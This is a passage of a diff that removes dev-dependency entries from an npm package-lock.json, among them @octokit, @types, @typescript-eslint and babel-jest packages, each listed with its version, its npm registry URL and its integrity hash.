"dev": true, - "requires": { - "@octokit/types": "^2.0.1" - } - }, - "@octokit/plugin-request-log": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-1.0.0.tgz", - "integrity": "sha512-ywoxP68aOT3zHCLgWZgwUJatiENeHE7xJzYjfz8WI0goynp96wETBF+d95b8g/uL4QmS6owPVlaxiz3wyMAzcw==", - "dev": true - }, - "@octokit/plugin-rest-endpoint-methods": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-2.4.0.tgz", - "integrity": "sha512-EZi/AWhtkdfAYi01obpX0DF7U6b1VRr30QNQ5xSFPITMdLSfhcBqjamE3F+sKcxPbD7eZuMHu3Qkk2V+JGxBDQ==", - "dev": true, - "requires": { - "@octokit/types": "^2.0.1", - "deprecation": "^2.3.1" - } - }, - "@octokit/request": { - "version": "5.4.2", - "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.4.2.tgz", - "integrity": "sha512-zKdnGuQ2TQ2vFk9VU8awFT4+EYf92Z/v3OlzRaSh4RIP0H6cvW1BFPXq4XYvNez+TPQjqN+0uSkCYnMFFhcFrw==", - "dev": true, - "requires": { - "@octokit/endpoint": "^6.0.1", - "@octokit/request-error": "^2.0.0", - "@octokit/types": "^2.11.1", - "deprecation": "^2.0.0", - "is-plain-object": "^3.0.0", - "node-fetch": "^2.3.0", - "once": "^1.4.0", - "universal-user-agent": "^5.0.0" - } - }, - "@octokit/request-error": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.0.0.tgz", - "integrity": "sha512-rtYicB4Absc60rUv74Rjpzek84UbVHGHJRu4fNVlZ1mCcyUPPuzFfG9Rn6sjHrd95DEsmjSt1Axlc699ZlbDkw==", - "dev": true, - "requires": { - "@octokit/types": "^2.0.0", - "deprecation": "^2.0.0", - "once": "^1.4.0" - } - }, - "@octokit/rest": { - "version": "16.43.1", - "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-16.43.1.tgz", - "integrity": "sha512-gfFKwRT/wFxq5qlNjnW2dh+qh74XgTQ2B179UX5K1HYCluioWj8Ndbgqw2PVqa1NnVJkGHp2ovMpVn/DImlmkw==", - "dev": true, - "requires": { - "@octokit/auth-token": "^2.4.0", - "@octokit/plugin-paginate-rest": "^1.1.1", - "@octokit/plugin-request-log": "^1.0.0", - "@octokit/plugin-rest-endpoint-methods": "2.4.0", - "@octokit/request": "^5.2.0", - "@octokit/request-error": "^1.0.2", - "atob-lite": "^2.0.0", - "before-after-hook": "^2.0.0", - "btoa-lite": "^1.0.0", - "deprecation": "^2.0.0", - "lodash.get": "^4.4.2", - "lodash.set": "^4.3.2", - "lodash.uniq": "^4.5.0", - "octokit-pagination-methods": "^1.1.0", - "once": "^1.4.0", - "universal-user-agent": "^4.0.0" - }, - "dependencies": { - "@octokit/request-error": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-1.2.1.tgz", - "integrity": "sha512-+6yDyk1EES6WK+l3viRDElw96MvwfJxCt45GvmjDUKWjYIb3PJZQkq3i46TwGwoPD4h8NmTrENmtyA1FwbmhRA==", - "dev": true, - "requires": { - "@octokit/types": "^2.0.0", - "deprecation": "^2.0.0", - "once": "^1.4.0" - } - }, - "universal-user-agent": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-4.0.1.tgz", - "integrity": "sha512-LnST3ebHwVL2aNe4mejI9IQh2HfZ1RLo8Io2HugSif8ekzD1TlWpHpColOB/eh8JHMLkGH3Akqf040I+4ylNxg==", - "dev": true, - "requires": { - "os-name": "^3.1.0" - } - } - } - }, - "@octokit/types": { - "version": "2.16.2", - "resolved": "https://registry.npmjs.org/@octokit/types/-/types-2.16.2.tgz", - "integrity": "sha512-O75k56TYvJ8WpAakWwYRN8Bgu60KrmX0z1KqFp1kNiFNkgW+JW+9EBKZ+S33PU6SLvbihqd+3drvPxKK68Ee8Q==", - "dev": true, - "requires": { - "@types/node": ">= 8" - } - }, - "@sinonjs/commons": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.7.2.tgz", - "integrity": "sha512-+DUO6pnp3udV/v2VfUWgaY5BIE1IfT7lLfeDzPVeMT1XKkaAp9LgSI9x5RtrFQoZ9Oi0PgXQQHPaoKu7dCjVxw==", - "dev": true, - "requires": { - "type-detect": "4.0.8" - } - }, - "@sinonjs/fake-timers": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-6.0.1.tgz", - "integrity": "sha512-MZPUxrmFubI36XS1DI3qmI0YdN1gks62JtFZvxR67ljjSNCeK6U08Zx4msEWOXuofgqUt6zPHSi1H9fbjR/NRA==", - "dev": true, - "requires": { - "@sinonjs/commons": "^1.7.0" - } - }, - "@types/babel__core": { - "version": "7.1.7", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.7.tgz", - "integrity": "sha512-RL62NqSFPCDK2FM1pSDH0scHpJvsXtZNiYlMB73DgPBaG1E38ZYVL+ei5EkWRbr+KC4YNiAUNBnRj+bgwpgjMw==", - "dev": true, - "requires": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0", - "@types/babel__generator": "*", - "@types/babel__template": "*", - "@types/babel__traverse": "*" - } - }, - "@types/babel__generator": { - "version": "7.6.1", - "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.1.tgz", - "integrity": "sha512-bBKm+2VPJcMRVwNhxKu8W+5/zT7pwNEqeokFOmbvVSqGzFneNxYcEBro9Ac7/N9tlsaPYnZLK8J1LWKkMsLAew==", - "dev": true, - "requires": { - "@babel/types": "^7.0.0" - } - }, - "@types/babel__template": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.0.2.tgz", - "integrity": "sha512-/K6zCpeW7Imzgab2bLkLEbz0+1JlFSrUMdw7KoIIu+IUdu51GWaBZpd3y1VXGVXzynvGa4DaIaxNZHiON3GXUg==", - "dev": true, - "requires": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0" - } - }, - "@types/babel__traverse": { - "version": "7.0.11", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.0.11.tgz", - "integrity": "sha512-ddHK5icION5U6q11+tV2f9Mo6CZVuT8GJKld2q9LqHSZbvLbH34Kcu2yFGckZut453+eQU6btIA3RihmnRgI+Q==", - "dev": true, - "requires": { - "@babel/types": "^7.3.0" - } - }, - "@types/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", - "dev": true - }, - "@types/eslint-visitor-keys": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@types/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", - "integrity": "sha512-OCutwjDZ4aFS6PB1UZ988C4YgwlBHJd6wCeQqaLdmadZ/7e+w79+hbMUFC1QXDNCmdyoRfAFdm0RypzwR+Qpag==", - "dev": true - }, - "@types/graceful-fs": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.3.tgz", - "integrity": "sha512-AiHRaEB50LQg0pZmm659vNBb9f4SJ0qrAnteuzhSeAUcJKxoYgEnprg/83kppCnc2zvtCKbdZry1a5pVY3lOTQ==", - "dev": true, - "requires": { - "@types/node": "*" - } - }, - "@types/istanbul-lib-coverage": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.2.tgz", - "integrity": "sha512-rsZg7eL+Xcxsxk2XlBt9KcG8nOp9iYdKCOikY9x2RFJCyOdNj4MKPQty0e8oZr29vVAzKXr1BmR+kZauti3o1w==", - "dev": true - }, - "@types/istanbul-lib-report": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", - "integrity": "sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==", - "dev": true, - "requires": { - "@types/istanbul-lib-coverage": "*" - } - }, - "@types/istanbul-reports": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-1.1.2.tgz", - "integrity": "sha512-P/W9yOX/3oPZSpaYOCQzGqgCQRXn0FFO/V8bWrCQs+wLmvVVxk6CRBXALEvNs9OHIatlnlFokfhuDo2ug01ciw==", - "dev": true, - "requires": { - "@types/istanbul-lib-coverage": "*", - "@types/istanbul-lib-report": "*" - } - }, - "@types/jest": { - "version": "25.2.3", - "resolved": "https://registry.npmjs.org/@types/jest/-/jest-25.2.3.tgz", - "integrity": "sha512-JXc1nK/tXHiDhV55dvfzqtmP4S3sy3T3ouV2tkViZgxY/zeUkcpQcQPGRlgF4KmWzWW5oiWYSZwtCB+2RsE4Fw==", - "dev": true, - "requires": { - "jest-diff": "^25.2.1", - "pretty-format": "^25.2.1" - }, - "dependencies": { - "@jest/types": { - "version": "25.5.0", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-25.5.0.tgz", - "integrity": "sha512-OXD0RgQ86Tu3MazKo8bnrkDRaDXXMGUqd+kTtLtK1Zb7CRzQcaSRPPPV37SvYTdevXEBVxe0HXylEjs8ibkmCw==", - "dev": true, - "requires": { - "@types/istanbul-lib-coverage": "^2.0.0", - "@types/istanbul-reports": "^1.1.1", - "@types/yargs": "^15.0.0", - "chalk": "^3.0.0" - } - }, - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "diff-sequences": { - "version": "25.2.6", - "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-25.2.6.tgz", - "integrity": "sha512-Hq8o7+6GaZeoFjtpgvRBUknSXNeJiCx7V9Fr94ZMljNiCr9n9L8H8aJqgWOQiDDGdyn29fRNcDdRVJ5fdyihfg==", - "dev": true - }, - "jest-diff": { - "version": "25.5.0", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-25.5.0.tgz", - "integrity": "sha512-z1kygetuPiREYdNIumRpAHY6RXiGmp70YHptjdaxTWGmA085W3iCnXNx0DhflK3vwrKmrRWyY1wUpkPMVxMK7A==", - "dev": true, - "requires": { - "chalk": "^3.0.0", - "diff-sequences": "^25.2.6", - "jest-get-type": "^25.2.6", - "pretty-format": "^25.5.0" - } - }, - "jest-get-type": { - "version": "25.2.6", - "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-25.2.6.tgz", - "integrity": "sha512-DxjtyzOHjObRM+sM1knti6or+eOgcGU4xVSb2HNP1TqO4ahsT+rqZg+nyqHWJSvWgKC5cG3QjGFBqxLghiF/Ig==", - "dev": true - }, - "pretty-format": { - "version": "25.5.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.5.0.tgz", - "integrity": "sha512-kbo/kq2LQ/A/is0PQwsEHM7Ca6//bGPPvU6UnsdDRSKTWxT/ru/xb88v4BJf6a69H+uTytOEsTusT9ksd/1iWQ==", - "dev": true, - "requires": { - "@jest/types": "^25.5.0", - "ansi-regex": "^5.0.0", - "ansi-styles": "^4.0.0", - "react-is": "^16.12.0" - } - } - } - }, - "@types/json-schema": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.4.tgz", - "integrity": "sha512-8+KAKzEvSUdeo+kmqnKrqgeE+LcA0tjYWFY7RPProVYwnqDjukzO+3b6dLD56rYX5TdWejnEOLJYOIeh4CXKuA==", - "dev": true - }, - "@types/node": { - "version": "14.0.4", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.0.4.tgz", - "integrity": "sha512-k3NqigXWRzQZVBDS5D1U70A5E8Qk4Kh+Ha/x4M8Bt9pF0X05eggfnC9+63Usc9Q928hRUIpIhTQaXsZwZBl4Ew==", - "dev": true - }, - "@types/normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA==", - "dev": true - }, - "@types/prettier": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.0.0.tgz", - "integrity": "sha512-/rM+sWiuOZ5dvuVzV37sUuklsbg+JPOP8d+nNFlo2ZtfpzPiPvh1/gc8liWOLBqe+sR+ZM7guPaIcTt6UZTo7Q==", - "dev": true - }, - "@types/stack-utils": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-1.0.1.tgz", - "integrity": "sha512-l42BggppR6zLmpfU6fq9HEa2oGPEI8yrSPL3GITjfRInppYFahObbIQOQK3UGxEnyQpltZLaPe75046NOZQikw==", - "dev": true - }, - "@types/yargs": { - "version": "15.0.5", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.5.tgz", - "integrity": "sha512-Dk/IDOPtOgubt/IaevIUbTgV7doaKkoorvOyYM2CMwuDyP89bekI7H4xLIwunNYiK9jhCkmc6pUrJk3cj2AB9w==", - "dev": true, - "requires": { - "@types/yargs-parser": "*" - } - }, - "@types/yargs-parser": { - "version": "15.0.0", - "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-15.0.0.tgz", - "integrity": "sha512-FA/BWv8t8ZWJ+gEOnLLd8ygxH/2UFbAvgEonyfN6yWGLKc7zVjbpl2Y4CTjid9h2RfgPP6SEt6uHwEOply00yw==", - "dev": true - }, - "@typescript-eslint/eslint-plugin": { - "version": "2.34.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-2.34.0.tgz", - "integrity": "sha512-4zY3Z88rEE99+CNvTbXSyovv2z9PNOVffTWD2W8QF5s2prBQtwN2zadqERcrHpcR7O/+KMI3fcTAmUUhK/iQcQ==", - "dev": true, - "requires": { - "@typescript-eslint/experimental-utils": "2.34.0", - "functional-red-black-tree": "^1.0.1", - "regexpp": "^3.0.0", - "tsutils": "^3.17.1" - } - }, - "@typescript-eslint/experimental-utils": { - "version": "2.34.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-2.34.0.tgz", - "integrity": "sha512-eS6FTkq+wuMJ+sgtuNTtcqavWXqsflWcfBnlYhg/nS4aZ1leewkXGbvBhaapn1q6qf4M71bsR1tez5JTRMuqwA==", - "dev": true, - "requires": { - "@types/json-schema": "^7.0.3", - "@typescript-eslint/typescript-estree": "2.34.0", - "eslint-scope": "^5.0.0", - "eslint-utils": "^2.0.0" - } - }, - "@typescript-eslint/parser": { - "version": "2.34.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-2.34.0.tgz", - "integrity": "sha512-03ilO0ucSD0EPTw2X4PntSIRFtDPWjrVq7C3/Z3VQHRC7+13YB55rcJI3Jt+YgeHbjUdJPcPa7b23rXCBokuyA==", - "dev": true, - "requires": { - "@types/eslint-visitor-keys": "^1.0.0", - "@typescript-eslint/experimental-utils": "2.34.0", - "@typescript-eslint/typescript-estree": "2.34.0", - "eslint-visitor-keys": "^1.1.0" - } - }, - "@typescript-eslint/typescript-estree": { - "version": "2.34.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-2.34.0.tgz", - "integrity": "sha512-OMAr+nJWKdlVM9LOqCqh3pQQPwxHAN7Du8DR6dmwCrAmxtiXQnhHJ6tBNtf+cggqfo51SG/FCwnKhXCIM7hnVg==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "eslint-visitor-keys": "^1.1.0", - "glob": "^7.1.6", - "is-glob": "^4.0.1", - "lodash": "^4.17.15", - "semver": "^7.3.2", - "tsutils": "^3.17.1" - }, - "dependencies": { - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", - "dev": true - } - } - }, - "abab": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.3.tgz", - "integrity": "sha512-tsFzPpcttalNjFBCFMqsKYQcWxxen1pgJR56by//QwvJc4/OUS3kPOOttx2tSIfjsylB0pYu7f5D3K1RCxUnUg==", - "dev": true - }, - "acorn": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.2.0.tgz", - "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==", - "dev": true - }, - "acorn-globals": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", - "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", - "dev": true, - "requires": { - "acorn": "^7.1.1", - "acorn-walk": "^7.1.1" - } - }, - "acorn-jsx": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz", - "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", - "dev": true - }, - "acorn-walk": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.1.1.tgz", - "integrity": "sha512-wdlPY2tm/9XBr7QkKlq0WQVgiuGTX6YWPyRyBviSoScBuLfTVQhvwg6wJ369GJ/1nPfTLMfnrFIfjqVg6d+jQQ==", - "dev": true - }, - "ajv": { - "version": "6.12.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.2.tgz", - "integrity": "sha512-k+V+hzjm5q/Mr8ef/1Y9goCmlsK4I6Sm74teeyGvFk1XrOsbsKLjEdrvny42CZ+a8sXbk8KWpY/bDwS+FLL2UQ==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "ansi-escapes": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.1.tgz", - "integrity": "sha512-JWF7ocqNrp8u9oqpgV+wH5ftbt+cfvv+PTjOvKLT3AdYly/LmORARfEVT1iyjwN+4MqE5UmVKoAdIBqeoCHgLA==", - "dev": true, - "requires": { - "type-fest": "^0.11.0" - }, - "dependencies": { - "type-fest": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.11.0.tgz", - "integrity": "sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ==", - "dev": true - } - } - }, - "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", - "dev": true - }, - "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", - "dev": true, - "requires": { - "@types/color-name": "^1.1.1", - "color-convert": "^2.0.1" - } - }, - "anymatch": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz", - "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==", - "dev": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dev": true, - "requires": { - "sprintf-js": "~1.0.2" - } - }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true - }, - "arr-union": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", - "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", - "dev": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true - }, - "asn1": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", - "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", - "dev": true, - "requires": { - "safer-buffer": "~2.1.0" - } - }, - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true - }, - "assign-symbols": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", - "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", - "dev": true - }, - "astral-regex": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", - "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", - "dev": true - }, - "asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true - }, - "atob": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", - "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", - "dev": true - }, - "atob-lite": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/atob-lite/-/atob-lite-2.0.0.tgz", - "integrity": "sha1-D+9a1G8b16hQLGVyfwNn1e5D1pY=", - "dev": true - }, - "aws-sign2": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true - }, - "aws4": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.9.1.tgz", - "integrity": "sha512-wMHVg2EOHaMRxbzgFJ9gtjOOCrI80OHLG14rxi28XwOW8ux6IiEbRCGGGqCtdAIg4FQCbW20k9RsT4y3gJlFug==", - "dev": true - }, - "babel-jest": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-26.0.1.tgz", - "integrity": "sha512-Z4GGmSNQ8pX3WS1O+6v3fo41YItJJZsVxG5gIQ+HuB/iuAQBJxMTHTwz292vuYws1LnHfwSRgoqI+nxdy/pcvw==", - "dev": true, - "requires": { - "@jest/transform": "^26.0.1", - "@jest/types": "^26.0.1", - "@types/babel__core": "^7.1.7", - "babel-plugin-istanbul": "^6.0.0", - "babel-preset-jest": "^26.0.0", - "chalk": "^4.0.0", - "graceful-fs": "^4.2.4", - "slash": "^3.0.0" - } - }, - "babel-plugin-istanbul": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.0.0.tgz", - "integrity": "sha512-AF55rZXpe7trmEylbaE1Gv54wn6rwU03aptvRoVIGP8YykoSxqdVLV1TfwflBCE/QtHmqtP8SWlTENqbK8GCSQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.0.0", - "@istanbuljs/load-nyc-config": "^1.0.0", - "@istanbuljs/schema": "^0.1.2", - "istanbul-lib-instrument": "^4.0.0", - "test-exclude": "^6.0.0" - } - }, - "babel-plugin-jest-hoist": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-26.0.0.tgz", - "integrity": "sha512-+AuoehOrjt9irZL7DOt2+4ZaTM6dlu1s5TTS46JBa0/qem4dy7VNW3tMb96qeEqcIh20LD73TVNtmVEeymTG7w==", - "dev": true, - "requires": { - "@babel/template": "^7.3.3", - "@babel/types": "^7.3.3", - "@types/babel__traverse": "^7.0.6" - } - }, - "babel-preset-current-node-syntax": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-0.1.2.tgz", - "integrity": "sha512-u/8cS+dEiK1SFILbOC8/rUI3ml9lboKuuMvZ/4aQnQmhecQAgPw5ew066C1ObnEAUmlx7dv/s2z52psWEtLNiw==", - "dev": true, - "requires": { - "@babel/plugin-syntax-async-generators": "^7.8.4", - "@babel/plugin-syntax-bigint": "^7.8.3", - "@babel/plugin-syntax-class-properties": "^7.8.3", - "@babel/plugin-syntax-json-strings": "^7.8.3", - "@babel/plugin-syntax-logical-assignment-operators": "^7.8.3", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", - "@babel/plugin-syntax-numeric-separator": "^7.8.3", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", - "@babel/plugin-syntax-optional-chaining": "^7.8.3" - } - }, - "babel-preset-jest": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-26.0.0.tgz", - "integrity": "sha512-9ce+DatAa31DpR4Uir8g4Ahxs5K4W4L8refzt+qHWQANb6LhGcAEfIFgLUwk67oya2cCUd6t4eUMtO/z64ocNw==", - "dev": true, - "requires": { - "babel-plugin-jest-hoist": "^26.0.0", - "babel-preset-current-node-syntax": "^0.1.2" - } - }, - "balanced-match": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", - "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", - "dev": true - }, - "base": { - "version": "0.11.2", - "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", - "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", - "dev": true, - "requires": { - "cache-base": "^1.0.1", - "class-utils": "^0.3.5", - "component-emitter": "^1.2.1", - "define-property": "^1.0.0", - "isobject": "^3.0.1", - "mixin-deep": "^1.2.0", - "pascalcase": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": 